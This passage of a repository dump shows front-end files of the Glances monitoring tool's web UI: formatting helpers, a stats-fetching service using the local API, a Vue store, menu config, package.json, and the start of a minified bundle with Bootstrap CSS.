    "content": "import { min } from \"lodash\";\nimport sanitizeHtml from \"sanitize-html\";\n\nexport function bits(bits, low_precision) {\n\tbits = Math.round(bits) * 8;\n\treturn bytes(bits, low_precision) + \"b\";\n}\n\nexport function bytes(bytes, low_precision) {\n\tlow_precision = low_precision || false;\n\tif (isNaN(parseFloat(bytes)) || !isFinite(bytes) || bytes == 0) {\n\t\treturn bytes;\n\t}\n\n\tconst symbols = [\"Y\", \"Z\", \"E\", \"P\", \"T\", \"G\", \"M\", \"K\"];\n\tconst prefix = {\n\t\tY: 1208925819614629174706176,\n\t\tZ: 1180591620717411303424,\n\t\tE: 1152921504606846976,\n\t\tP: 1125899906842624,\n\t\tT: 1099511627776,\n\t\tG: 1073741824,\n\t\tM: 1048576,\n\t\tK: 1024,\n\t};\n\n\tfor (var i = 0; i < symbols.length; i++) {\n\t\tvar symbol = symbols[i];\n\t\tvar value = bytes / prefix[symbol];\n\n\t\tif (value > 1) {\n\t\t\tvar decimal_precision = 0;\n\n\t\t\tif (value < 10) {\n\t\t\t\tdecimal_precision = 2;\n\t\t\t} else if (value < 100) {\n\t\t\t\tdecimal_precision = 1;\n\t\t\t}\n\n\t\t\tif (low_precision) {\n\t\t\t\tif (symbol == \"MK\") {\n\t\t\t\t\tdecimal_precision = 0;\n\t\t\t\t} else {\n\t\t\t\t\tdecimal_precision = min([1, decimal_precision]);\n\t\t\t\t}\n\t\t\t} else if (symbol == \"K\") {\n\t\t\t\tdecimal_precision = 0;\n\t\t\t}\n\n\t\t\treturn parseFloat(value).toFixed(decimal_precision) + symbol;\n\t\t}\n\t}\n\n\treturn bytes.toFixed(0);\n}\n\nexport function exclamation(input) {\n\tif (input === undefined || input === \"\") {\n\t\treturn \"?\";\n\t}\n\treturn input;\n}\n\nexport function leftPad(value, length, chars) {\n\tlength = length || 0;\n\tchars = chars || \" \";\n\treturn String(value).padStart(length, chars);\n}\n\nexport function limitTo(value, limit) {\n\tif (typeof value.slice !== \"function\") {\n\t\tvalue = String(value);\n\t}\n\treturn value.slice(0, limit);\n}\n\nexport function minSize(input, max, begin = true) {\n\tmax = max || 8;\n\tif (input.length > max) {\n\t\tif (begin) {\n\t\t\treturn input.substring(0, max - 1) + \"_\";\n\t\t} else {\n\t\t\treturn \"_\" + input.substring(input.length - max + 1);\n\t\t}\n\t}\n\treturn input;\n}\n\nexport function nl2br(input) {\n\tfunction escapeHTML(html) {\n\t\tvar div = document.createElement(\"div\");\n\t\tdiv.innerText = html;\n\t\treturn div.innerHTML;\n\t}\n\n\tif (typeof input === \"undefined\") {\n\t\treturn input;\n\t}\n\n\tvar sanitizedInput = escapeHTML(input);\n\tvar html = sanitizedInput.replace(/\\n/g, \"<br>\");\n\n\treturn sanitizeHtml(html);\n}\n\nexport function number(value, options) {\n\t// If value is undefined or not a number then return '-'\n\tif (typeof value === \"undefined\" || isNaN(value)) {\n\t\treturn \"-\";\n\t}\n\t// Else\n\treturn new Intl.NumberFormat(\n\t\t\"en-US\",\n\t\ttypeof options === \"number\" ? { maximumFractionDigits: options } : options,\n\t).format(value);\n}\n\nexport function timemillis(array) {\n\tvar sum = 0.0;\n\tfor (var i = 0; i < array.length; i++) {\n\t\tsum += array[i] * 1000.0;\n\t}\n\treturn sum;\n}\n\nexport function timedelta(value) {\n\tvar sum = timemillis(value);\n\tvar d = new Date(sum);\n\tvar doy = Math.floor(\n\t\t(d - new Date(d.getUTCFullYear(), 0, 0)) / 1000 / 60 / 60 / 24,\n\t);\n\treturn {\n\t\thours: d.getUTCHours() + (doy - 1) * 24,\n\t\tminutes: d.getUTCMinutes(),\n\t\tseconds: d.getUTCSeconds(),\n\t\tmilliseconds: parseInt(\"\" + d.getUTCMilliseconds() / 10),\n\t};\n}\n\nexport function dictToString(dict) {\n\treturn Object.entries(dict)\n\t\t.map(([key, value]) => `${key}: ${value}`)\n\t\t.join(\" / \");\n}\n"
  },
  {
    "path": "glances/outputs/static/js/services.js",
    "content": "import Favico from \"favico.js\";\nimport { store } from \"./store.js\";\n\n// prettier-ignore\nconst fetchAll = () =>\n\tfetch(\"api/4/all\", { method: \"GET\" }).then((response) => response.json());\n// prettier-ignore\nconst fetchAllViews = () =>\n\tfetch(\"api/4/all/views\", { method: \"GET\" }).then((response) =>\n\t\tresponse.json(),\n\t);\n// prettier-ignore\nconst fetchAllLimits = () =>\n\tfetch(\"api/4/all/limits\", { method: \"GET\" }).then((response) =>\n\t\tresponse.json(),\n\t);\n// prettier-ignore\nconst fetchArgs = () =>\n\tfetch(\"api/4/args\", { method: \"GET\" }).then((response) => response.json());\n// prettier-ignore\nconst fetchConfig = () =>\n\tfetch(\"api/4/config\", { method: \"GET\" }).then((response) => response.json());\n\nclass GlancesHelperService {\n\tlimits = {};\n\tlimitSuffix = [\"critical\", \"careful\", \"warning\"];\n\n\tsetLimits(limits) {\n\t\tthis.limits = limits;\n\t}\n\n\tgetLimit(pluginName, limitName) {\n\t\tif (this.limits[pluginName] != undefined) {\n\t\t\tif (this.limits[pluginName][limitName] != undefined) {\n\t\t\t\treturn this.limits[pluginName][limitName];\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}\n\n\tgetAlert(pluginName, limitNamePrefix, current, maximum, log) {\n\t\tcurrent = current || 0;\n\t\tmaximum = maximum || 100;\n\t\tlog = log || false;\n\n\t\tvar log_str = log ? \"_log\" : \"\";\n\t\tvar value = (current * 100) / maximum;\n\n\t\tif (this.limits[pluginName] != undefined) {\n\t\t\tfor (var i = 0; i < this.limitSuffix.length; i++) {\n\t\t\t\tvar limitName = limitNamePrefix + this.limitSuffix[i];\n\t\t\t\tvar limit = this.limits[pluginName][limitName];\n\t\t\t\tif (value >= limit) {\n\t\t\t\t\tvar pos = limitName.lastIndexOf(\"_\");\n\t\t\t\t\tvar className = limitName.substring(pos + 1);\n\t\t\t\t\treturn className + log_str;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn \"ok\" + log_str;\n\t}\n\n\tgetAlertLog(pluginName, limitNamePrefix, current, maximum) {\n\t\treturn this.getAlert(pluginName, limitNamePrefix, current, maximum, true);\n\t}\n}\n\nexport const GlancesHelper = new GlancesHelperService();\n\nclass GlancesStatsService {\n\tdata = undefined;\n\n\tinit(REFRESH_TIME = 60) {\n\t\tlet timeout;\n\t\tconst fetchData = () => {\n\t\t\tstore.status = \"PENDING\";\n\t\t\treturn Promise.all([fetchAll(), fetchAllViews()])\n\t\t\t\t.then((response) => {\n\t\t\t\t\tconst data = {\n\t\t\t\t\t\tstats: response[0],\n\t\t\t\t\t\tviews: response[1],\n\t\t\t\t\t\tisBsd: response[0].system?.os_name === \"FreeBSD\",\n\t\t\t\t\t\tisLinux: response[0].system?.os_name === \"Linux\",\n\t\t\t\t\t\tisSunOS: response[0].system?.os_name === \"SunOS\",\n\t\t\t\t\t\tisMac: response[0].system?.os_name === \"Darwin\",\n\t\t\t\t\t\tisWindows: response[0].system?.os_name === \"Windows\",\n\t\t\t\t\t};\n\t\t\t\t\tthis.data = data;\n\t\t\t\t\tstore.data = data;\n\t\t\t\t\tstore.status = \"SUCCESS\";\n\t\t\t\t})\n\t\t\t\t.catch((error) => {\n\t\t\t\t\tconsole.log(error);\n\t\t\t\t\tstore.status = \"FAILURE\";\n\t\t\t\t})\n\t\t\t\t.then(() => {\n\t\t\t\t\tif (timeout) {\n\t\t\t\t\t\tclearTimeout(timeout);\n\t\t\t\t\t}\n\t\t\t\t\ttimeout = setTimeout(fetchData, REFRESH_TIME * 1000); // in milliseconds\n\t\t\t\t});\n\t\t};\n\t\tfetchData();\n\n\t\tfetchAllLimits().then((response) => {\n\t\t\tGlancesHelper.setLimits(response);\n\t\t});\n\n\t\tfetchArgs().then((response = {}) => {\n\t\t\tstore.args = { ...store.args, ...response };\n\t\t});\n\n\t\tfetchConfig().then((response = {}) => {\n\t\t\tstore.config = { ...store.config, ...response };\n\t\t});\n\t}\n\n\tgetData() {\n\t\treturn this.data;\n\t}\n}\n\nexport const GlancesStats = new GlancesStatsService();\n\nclass GlancesFavicoService {\n\tconstructor() {\n\t\tthis.favico = new Favico({\n\t\t\tanimation: \"none\",\n\t\t});\n\t}\n\tbadge(nb) {\n\t\tthis.favico.badge(nb);\n\t}\n\treset() {\n\t\tthis.favico.reset();\n\t}\n}\n\nexport const GlancesFavico = new GlancesFavicoService();\n"
  },
  {
    "path": "glances/outputs/static/js/store.js",
    "content": "import { reactive } from \"vue\";\n\nexport const store = reactive({\n\targs: undefined,\n\tconfig: undefined,\n\tdata: undefined,\n\tstatus: \"IDLE\",\n});\n"
  },
  {
    "path": "glances/outputs/static/js/uiconfig.json",
    "content": "{\n    \"topMenu\": [\n        \"quicklook\",\n        \"cpu\",\n        \"percpu\",\n        \"npu\",\n        \"gpu\",\n        \"mem\",\n        \"memswap\",\n        \"load\"\n    ],\n    \"leftMenu\": [\n        \"network\",\n        \"ports\",\n        \"wifi\",\n        \"connections\",\n        \"diskio\",\n        \"fs\",\n        \"irq\",\n        \"folders\",\n        \"raid\",\n        \"smart\",\n        \"sensors\"\n    ]\n}\n"
  },
  {
    "path": "glances/outputs/static/package.json",
    "content": "{\n\t\"private\": true,\n\t\"dependencies\": {\n\t\t\"bootstrap\": \"^5.3.8\",\n\t\t\"favico.js\": \"^0.3.10\",\n\t\t\"hotkeys-js\": \"^4.0.2\",\n\t\t\"lodash\": \"^4.17.23\",\n\t\t\"sanitize-html\": \"^2.17.2\",\n\t\t\"vue\": \"^3.5.13\"\n\t},\n\t\"devDependencies\": {\n\t\t\"@eslint/js\": \"^10.0.1\",\n\t\t\"@vue/compiler-sfc\": \"^3.5.13\",\n\t\t\"copy-webpack-plugin\": \"^14.0.0\",\n\t\t\"css-loader\": \"^7.1.4\",\n\t\t\"del\": \"^8.0.1\",\n\t\t\"eslint\": \"^10.0.3\",\n\t\t\"eslint-config-prettier\": \"^10.1.8\",\n\t\t\"eslint-plugin-vue\": \"^10.8.0\",\n\t\t\"globals\": \"^17.4.0\",\n\t\t\"html-webpack-plugin\": \"^5.6.6\",\n\t\t\"less\": \"^4.6.4\",\n\t\t\"less-loader\": \"^12.3.2\",\n\t\t\"sass\": \"^1.98.0\",\n\t\t\"sass-loader\": \"^16.0.7\",\n\t\t\"style-loader\": \"^4.0.0\",\n\t\t\"typescript-eslint\": \"^8.57.1\",\n\t\t\"vue-loader\": \"^17.4.2\",\n\t\t\"webpack\": \"^5.105.4\",\n\t\t\"webpack-cli\": \"^7.0.2\",\n\t\t\"webpack-dev-server\": \"^5.2.3\"\n\t},\n\t\"overrides\": {\n\t\t\"eslint\": {\n\t\t\t\"ajv\": \"8.18.0\"\n\t\t},\n\t\t\"minimatch\": \"10.2.4\",\n\t\t\"serialize-javascript\": \"7.0.3\",\n\t\t\"@typescript-eslint/typescript-estree\": {\n\t\t\t\"minimatch\": \"10.2.4\"\n\t\t}\n\t},\n\t\"scripts\": {\n\t\t\"build\": \"webpack --progress --mode=production\",\n\t\t\"start\": \"webpack serve --mode=development\",\n\t\t\"watch\": \"webpack --progress --watch\",\n\t\t\"lint\": \"eslint ./ --ext .js,.vue\",\n\t\t\"lint-fix\": \"eslint ./ --ext .js,.vue --fix\",\n\t\t\"clean\": \"rm -rf node_modules\"\n\t}\n}\n"
  },
  {
    "path": "glances/outputs/static/public/browser.js",
    "content": "(()=>{var t={1392(t,e,r){\"use strict\";r.d(e,{A:()=>s});var n=r(1601),i=r.n(n),o=r(6314),a=r.n(o)()(i());a.push([t.id,':root,[data-bs-theme=light]{--bs-blue: #0d6efd;--bs-indigo: #6610f2;--bs-purple: #6f42c1;--bs-pink: #d63384;--bs-red: #dc3545;--bs-orange: #fd7e14;--bs-yellow: #ffc107;--bs-green: #198754;--bs-teal: #20c997;--bs-cyan: #0dcaf0;--bs-black: #000;--bs-white: #fff;--bs-gray: #6c757d;--bs-gray-dark: #343a40;--bs-gray-100: #f8f9fa;--bs-gray-200: #e9ecef;--bs-gray-300: #dee2e6;--bs-gray-400: #ced4da;--bs-gray-500: #adb5bd;--bs-gray-600: #6c757d;--bs-gray-700: #495057;--bs-gray-800: #343a40;--bs-gray-900: #212529;--bs-primary: #0d6efd;--bs-secondary: #6c757d;--bs-success: #198754;--bs-info: #0dcaf0;--bs-warning: #ffc107;--bs-danger: #dc3545;--bs-light: #f8f9fa;--bs-dark: #212529;--bs-primary-rgb: 13, 110, 253;--bs-secondary-rgb: 108, 117, 125;--bs-success-rgb: 25, 135, 84;--bs-info-rgb: 13, 202, 240;--bs-warning-rgb: 255, 193, 7;--bs-danger-rgb: 220, 53, 69;--bs-light-rgb: 248, 249, 250;--bs-dark-rgb: 33, 37, 41;--bs-primary-text-emphasis: rgb(5.2, 44, 101.2);--bs-secondary-text-emphasis: rgb(43.2, 46.8, 50);--bs-success-text-emphasis: rgb(10, 54, 33.6);--bs-info-text-emphasis: rgb(5.2, 80.8, 96);--bs-warning-text-emphasis: rgb(102, 77.2, 2.8);--bs-danger-text-emphasis: rgb(88, 21.2, 27.6);--bs-light-text-emphasis: #495057;--bs-dark-text-emphasis: #495057;--bs-primary-bg-subtle: rgb(206.6, 226, 254.6);--bs-secondary-bg-subtle: rgb(225.6, 227.4, 229);--bs-success-bg-subtle: rgb(209, 231, 220.8);--bs-info-bg-subtle: rgb(206.6, 244.4, 252);--bs-warning-bg-subtle: rgb(255, 242.6, 205.4);--bs-danger-bg-subtle: rgb(248, 214.6, 217.8);--bs-light-bg-subtle: rgb(251.5, 252, 252.5);--bs-dark-bg-subtle: #ced4da;--bs-primary-border-subtle: rgb(158.2, 197, 254.2);--bs-secondary-border-subtle: rgb(196.2, 199.8, 203);--bs-success-border-subtle: rgb(163, 207, 186.6);--bs-info-border-subtle: rgb(158.2, 233.8, 249);--bs-warning-border-subtle: rgb(255, 230.2, 155.8);--bs-danger-border-subtle: rgb(241, 174.2, 180.6);--bs-light-border-subtle: #e9ecef;--bs-dark-border-subtle: #adb5bd;--bs-white-rgb: 255, 255, 255;--bs-black-rgb: 0, 0, 0;--bs-font-sans-serif: system-ui, -apple-system, \"Segoe UI\", Roboto, \"Helvetica Neue\", \"Noto Sans\", \"Liberation Sans\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\", \"Noto Color Emoji\";--bs-font-monospace: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;--bs-gradient: linear-gradient(180deg, rgba(255, 255, 255, 0.15), rgba(255, 255, 255, 0));--bs-body-font-family: var(--bs-font-sans-serif);--bs-body-font-size:1rem;--bs-body-font-weight: 400;--bs-body-line-height: 1.5;--bs-body-color: #212529;--bs-body-color-rgb: 33, 37, 41;--bs-body-bg: #fff;--bs-body-bg-rgb: 255, 255, 255;--bs-emphasis-color: #000;--bs-emphasis-color-rgb: 0, 0, 0;--bs-secondary-color: rgba(33, 37, 41, 0.75);--bs-secondary-color-rgb: 33, 37, 41;--bs-secondary-bg: #e9ecef;--bs-secondary-bg-rgb: 233, 236, 239;--bs-tertiary-color: rgba(33, 37, 41, 0.5);--bs-tertiary-color-rgb: 33, 37, 41;--bs-tertiary-bg: #f8f9fa;--bs-tertiary-bg-rgb: 248, 249, 250;--bs-heading-color: inherit;--bs-link-color: #0d6efd;--bs-link-color-rgb: 13, 110, 253;--bs-link-decoration: underline;--bs-link-hover-color: rgb(10.4, 88, 202.4);--bs-link-hover-color-rgb: 10, 88, 202;--bs-code-color: #d63384;--bs-highlight-color: #212529;--bs-highlight-bg: rgb(255, 242.6, 205.4);--bs-border-width: 1px;--bs-border-style: solid;--bs-border-color: #dee2e6;--bs-border-color-translucent: rgba(0, 0, 0, 0.175);--bs-border-radius: 0.375rem;--bs-border-radius-sm: 0.25rem;--bs-border-radius-lg: 0.5rem;--bs-border-radius-xl: 1rem;--bs-border-radius-xxl: 2rem;--bs-border-radius-2xl: var(--bs-border-radius-xxl);--bs-border-radius-pill: 50rem;--bs-box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15);--bs-box-shadow-sm: 0 0.125rem 0.25rem rgba(0, 0, 0, 0.075);--bs-box-shadow-lg: 0 1rem 3rem rgba(0, 0, 0, 0.175);--bs-box-shadow-inset: inset 0 1px 2px rgba(0, 0, 0, 0.075);--bs-focus-ring-width: 0.25rem;--bs-focus-ring-opacity: 0.25;--bs-focus-ring-color: rgba(13, 110, 253, 0.25);--bs-form-valid-color: #198754;--bs-form-valid-border-color: #198754;--bs-form-invalid-color: #dc3545;--bs-form-invalid-border-color: #dc3545}[data-bs-theme=dark]{color-scheme:dark;--bs-body-color: #dee2e6;--bs-body-color-rgb: 222, 226, 230;--bs-body-bg: #212529;--bs-body-bg-rgb: 33, 37, 41;--bs-emphasis-color: #fff;--bs-emphasis-color-rgb: 255, 255, 255;--bs-secondary-color: rgba(222, 226, 230, 0.75);--bs-secondary-color-rgb: 222, 226, 230;--bs-secondary-bg: #343a40;--bs-secondary-bg-rgb: 52, 58, 64;--bs-tertiary-color: rgba(222, 226, 230, 0.5);--bs-tertiary-color-rgb: 222, 226, 230;--bs-tertiary-bg: rgb(42.5, 47.5, 52.5);--bs-tertiary-bg-rgb: 43, 48, 53;--bs-primary-text-emphasis: rgb(109.8, 168, 253.8);--bs-secondary-text-emphasis: rgb(166.8, 172.2, 177);--bs-success-text-emphasis: rgb(117, 183, 152.4);--bs-info-text-emphasis: rgb(109.8, 223.2, 246);--bs-warning-text-emphasis: rgb(255, 217.8, 106.2);--bs-danger-text-emphasis: rgb(234, 133.8, 143.4);--bs-light-text-emphasis: #f8f9fa;--bs-dark-text-emphasis: #dee2e6;--bs-primary-bg-subtle: rgb(2.6, 22, 50.6);--bs-secondary-bg-subtle: rgb(21.6, 23.4, 25);--bs-success-bg-subtle: rgb(5, 27, 16.8);--bs-info-bg-subtle: rgb(2.6, 40.4, 48);--bs-warning-bg-subtle: rgb(51, 38.6, 1.4);--bs-danger-bg-subtle: rgb(44, 10.6, 13.8);--bs-light-bg-subtle: #343a40;--bs-dark-bg-subtle: #1a1d20;--bs-primary-border-subtle: rgb(7.8, 66, 151.8);--bs-secondary-border-subtle: rgb(64.8, 70.2, 75);--bs-success-border-subtle: rgb(15, 81, 50.4);--bs-info-border-subtle: rgb(7.8, 121.2, 144);--bs-warning-border-subtle: rgb(153, 115.8, 4.2);--bs-danger-border-subtle: rgb(132, 31.8, 41.4);--bs-light-border-subtle: #495057;--bs-dark-border-subtle: #343a40;--bs-heading-color: inherit;--bs-link-color: rgb(109.8, 168, 253.8);--bs-link-hover-color: rgb(138.84, 185.4, 254.04);--bs-link-color-rgb: 110, 168, 254;--bs-link-hover-color-rgb: 139, 185, 254;--bs-code-color: rgb(230.4, 132.6, 181.2);--bs-highlight-color: #dee2e6;--bs-highlight-bg: rgb(102, 77.2, 2.8);--bs-border-color: #495057;--bs-border-color-translucent: rgba(255, 255, 255, 0.15);--bs-form-valid-color: rgb(117, 183, 152.4);--bs-form-valid-border-color: rgb(117, 183, 152.4);--bs-form-invalid-color: rgb(234, 133.8, 143.4);--bs-form-invalid-border-color: rgb(234, 133.8, 143.4)}*,*::before,*::after{box-sizing:border-box}@media(prefers-reduced-motion: no-preference){:root{scroll-behavior:smooth}}body{margin:0;font-family:var(--bs-body-font-family);font-size:var(--bs-body-font-size);font-weight:var(--bs-body-font-weight);line-height:var(--bs-body-line-height);color:var(--bs-body-color);text-align:var(--bs-body-text-align);background-color:var(--bs-body-bg);-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:rgba(0,0,0,0)}hr{margin:1rem 0;color:inherit;border:0;border-top:var(--bs-border-width) solid;opacity:.25}h6,.h6,h5,.h5,h4,.h4,h3,.h3,h2,.h2,h1,.h1{margin-top:0;margin-bottom:.5rem;font-weight:500;line-height:1.2;color:var(--bs-heading-color)}h1,.h1{font-size:calc(1.375rem + 1.5vw)}@media(min-width: 1200px){h1,.h1{font-size:2.5rem}}h2,.h2{font-size:calc(1.325rem + 0.9vw)}@media(min-width: 1200px){h2,.h2{font-size:2rem}}h3,.h3{font-size:calc(1.3rem + 0.6vw)}@media(min-width: 1200px){h3,.h3{font-size:1.75rem}}h4,.h4{font-size:calc(1.275rem + 0.3vw)}@media(min-width: 1200px){h4,.h4{font-size:1.5rem}}h5,.h5{font-size:1.25rem}h6,.h6{font-size:1rem}p{margin-top:0;margin-bottom:1rem}abbr[title]{text-decoration:underline dotted;cursor:help;text-decoration-skip-ink:none}address{margin-bottom:1rem;font-style:normal;line-height:inherit}ol,ul{padding-left:2rem}ol,ul,dl{margin-top:0;margin-bottom:1rem}ol ol,ul ul,ol ul,ul ol{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}small,.small{font-size:0.875em}mark,.mark{padding:.1875em;color:var(--bs-highlight-color);background-color:var(--bs-highlight-bg)}sub,sup{position:relative;font-size:0.75em;line-height:0;vertical-align:baseline}sub{bottom:-0.25em}sup{top:-0.5em}a{color:rgba(var(--bs-link-color-rgb), var(--bs-link-opacity, 1));text-decoration:underline}a:hover{--bs-link-color-rgb: var(--bs-link-hover-color-rgb)}a:not([href]):not([class]),a:not([href]):not([class]):hover{color:inherit;text-decoration:none}pre,code,kbd,samp{font-family:var(--bs-font-monospace);font-size:1em}pre{display:block;margin-top:0;margin-bottom:1rem;overflow:auto;font-size:0.875em}pre code{font-size:inherit;color:inherit;word-break:normal}code{font-size:0.875em;color:var(--bs-code-color);word-wrap:break-word}a>code{color:inherit}kbd{padding:.1875rem .375rem;font-size:0.875em;color:var(--bs-body-bg);background-color:var(--bs-body-color);border-radius:.25rem}kbd kbd{padding:0;font-size:1em}figure{margin:0 0 1rem}img,svg{vertical-align:middle}table{caption-side:bottom;border-collapse:collapse}caption{padding-top:.5rem;padding-bottom:.5rem;color:var(--bs-secondary-color);text-align:left}th{text-align:inherit;text-align:-webkit-match-parent}thead,tbody,tfoot,tr,td,th{border-color:inherit;border-style:solid;border-width:0}label{display:inline-block}button{border-radius:0}button:focus:not(:focus-visible){outline:0}input,button,select,optgroup,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,select{text-transform:none}[role=button]{cursor:pointer}select{word-wrap:normal}select:disabled{opacity:1}[list]:not([type=date]):not([type=datetime-local]):not([type=month]):not([type=week]):not([type=time])::-webkit-calendar-picker-indicator{display:none !important}button,[type=button],[type=reset],[type=submit]{-webkit-appearance:button}button:not(:disabled),[type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled){cursor:pointer}::-moz-focus-inner{padding:0;border-style:none}textarea{resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{float:left;width:100%;padding:0;margin-bottom:.5rem;line-height:inherit;font-size:calc(1.275rem + 0.3vw)}@media(min-width: 1200px){legend{font-size:1.5rem}}legend+*{clear:left}::-webkit-datetime-edit-fields-wrapper,::-webkit-datetime-edit-text,::-webkit-datetime-edit-minute,::-webkit-datetime-edit-hour-field,::-webkit-datetime-edit-day-field,::-webkit-datetime-edit-month-field,::-webkit-datetime-edit-year-field{padding:0}::-webkit-inner-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}[type=search]::-webkit-search-cancel-button{cursor:pointer;filter:grayscale(1)}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-color-swatch-wrapper{padding:0}::file-selector-button{font:inherit;-webkit-appearance:button}output{display:inline-block}iframe{border:0}summary{display:list-item;cursor:pointer}progress{vertical-align:baseline}[hidden]{display:none !important}.lead{font-size:1.25rem;font-weight:300}.display-1{font-weight:300;line-height:1.2;font-size:calc(1.625rem + 4.5vw)}@media(min-width: 1200px){.display-1{font-size:5rem}}.display-2{font-weight:300;line-height:1.2;font-size:calc(1.575rem + 3.9vw)}@media(min-width: 1200px){.display-2{font-size:4.5rem}}.display-3{font-weight:300;line-height:1.2;font-size:calc(1.525rem + 3.3vw)}@media(min-width: 1200px){.display-3{font-size:4rem}}.display-4{font-weight:300;line-height:1.2;font-size:calc(1.475rem + 2.7vw)}@media(min-width: 1200px){.display-4{font-size:3.5rem}}.display-5{font-weight:300;line-height:1.2;font-size:calc(1.425rem + 2.1vw)}@media(min-width: 1200px){.display-5{font-size:3rem}}.display-6{font-weight:300;line-height:1.2;font-size:calc(1.375rem + 1.5vw)}@media(min-width: 1200px){.display-6{font-size:2.5rem}}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:.5rem}.initialism{font-size:0.875em;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote>:last-child{margin-bottom:0}.blockquote-footer{margin-top:-1rem;margin-bottom:1rem;font-size:0.875em;color:#6c757d}.blockquote-footer::before{content:\"— \"}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:.25rem;background-color:var(--bs-body-bg);border:var(--bs-border-width) solid var(--bs-border-color);border-radius:var(--bs-border-radius);max-width:100%;height:auto}.figure{display:inline-block}.figure-img{margin-bottom:.5rem;line-height:1}.figure-caption{font-size:0.875em;color:var(--bs-secondary-color)}.container,.container-fluid,.container-xxl,.container-xl,.container-lg,.container-md,.container-sm{--bs-gutter-x: 1.5rem;--bs-gutter-y: 0;width:100%;padding-right:calc(var(--bs-gutter-x)*.5);padding-left:calc(var(--bs-gutter-x)*.5);margin-right:auto;margin-left:auto}@media(min-width: 576px){.container-sm,.container{max-width:540px}}@media(min-width: 768px){.container-md,.container-sm,.container{max-width:720px}}@media(min-width: 992px){.container-lg,.container-md,.container-sm,.container{max-width:960px}}@media(min-width: 1200px){.container-xl,.container-lg,.container-md,.container-sm,.container{max-width:1140px}}@media(min-width: 1400px){.container-xxl,.container-xl,.container-lg,.container-md,.container-sm,.container{max-width:1320px}}:root{--bs-breakpoint-xs: 0;--bs-breakpoint-sm: 576px;--bs-breakpoint-md: 768px;--bs-breakpoint-lg: 992px;--bs-breakpoint-xl: 1200px;--bs-breakpoint-xxl: 1400px}.row{--bs-gutter-x: 1.5rem;--bs-gutter-y: 0;display:flex;flex-wrap:wrap;margin-top:calc(-1*var(--bs-gutter-y));margin-right:calc(-0.5*var(--bs-gutter-x));margin-left:calc(-0.5*var(--bs-gutter-x))}.row>*{flex-shrink:0;width:100%;max-width:100%;padding-right:calc(var(--bs-gutter-x)*.5);padding-left:calc(var(--bs-gutter-x)*.5);margin-top:var(--bs-gutter-y)}.col{flex:1 0 0}.row-cols-auto>*{flex:0 0 auto;width:auto}.row-cols-1>*{flex:0 0 auto;width:100%}.row-cols-2>*{flex:0 0 auto;width:50%}.row-cols-3>*{flex:0 0 auto;width:33.33333333%}.row-cols-4>*{flex:0 0 auto;width:25%}.row-cols-5>*{flex:0 0 auto;width:20%}.row-cols-6>*{flex:0 0 auto;width:16.66666667%}.col-auto{flex:0 0 auto;width:auto}.col-1{flex:0 0 auto;width:8.33333333%}.col-2{flex:0 0 auto;width:16.66666667%}.col-3{flex:0 0 auto;width:25%}.col-4{flex:0 0 auto;width:33.33333333%}.col-5{flex:0 0 auto;width:41.66666667%}.col-6{flex:0 0 auto;width:50%}.col-7{flex:0 0 auto;width:58.33333333%}.col-8{flex:0 0 auto;width:66.66666667%}.col-9{flex:0 0 auto;width:75%}.col-10{flex:0 0 auto;width:83.33333333%}.col-11{flex:0 0 auto;width:91.66666667%}.col-12{flex:0 0 auto;width:100%}.offset-1{margin-left:8.33333333%}.offset-2{margin-left:16.66666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.33333333%}.offset-5{margin-left:41.66666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.33333333%}.offset-8{margin-left:66.66666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.33333333%}.offset-11{margin-left:91.66666667%}.g-0,.gx-0{--bs-gutter-x: 0}.g-0,.gy-0{--bs-gutter-y: 0}.g-1,.gx-1{--bs-gutter-x: 0.25rem}.g-1,.gy-1{--bs-gutter-y: 0.25rem}.g-2,.gx-2{--bs-gutter-x: 0.5rem}.g-2,.gy-2{--bs-gutter-y: 0.5rem}.g-3,.gx-3{--bs-gutter-x: 1rem}.g-3,.gy-3{--bs-gutter-y: 1rem}.g-4,.gx-4{--bs-gutter-x: 1.5rem}.g-4,.gy-4{--bs-gutter-y: 1.5rem}.g-5,.gx-5{--bs-gutter-x: 3rem}.g-5,.gy-5{--bs-gutter-y: 3rem}@media(min-width: 576px){.col-sm{flex:1 0 0}.row-cols-sm-auto>*{flex:0 0 auto;width:auto}.row-cols-sm-1>*{flex:0 0 auto;width:100%}.row-cols-sm-2>*{flex:0 0 auto;width:50%}.row-cols-sm-3>*{flex:0 0 auto;width:33.33333333%}.row-cols-sm-4>*{flex:0 0 auto;width:25%}.row-cols-sm-5>*{flex:0 0 auto;width:20%}.row-cols-sm-6>*{flex:0 0 auto;width:16.66666667%}.col-sm-auto{flex:0 0 auto;width:auto}.col-sm-1{flex:0 0 auto;width:8.33333333%}.col-sm-2{flex:0 0 auto;width:16.66666667%}.col-sm-3{flex:0 0 auto;width:25%}.col-sm-4{flex:0 0 auto;width:33.33333333%}.col-sm-5{flex:0 0 auto;width:41.66666667%}.col-sm-6{flex:0 0 auto;width:50%}.col-sm-7{flex:0 0 auto;width:58.33333333%}.col-sm-8{flex:0 0 auto;width:66.66666667%}.col-sm-9{flex:0 0 auto;width:75%}.col-sm-10{flex:0 0 auto;width:83.33333333%}.col-sm-11{flex:0 0 auto;width:91.66666667%}.col-sm-12{flex:0 0 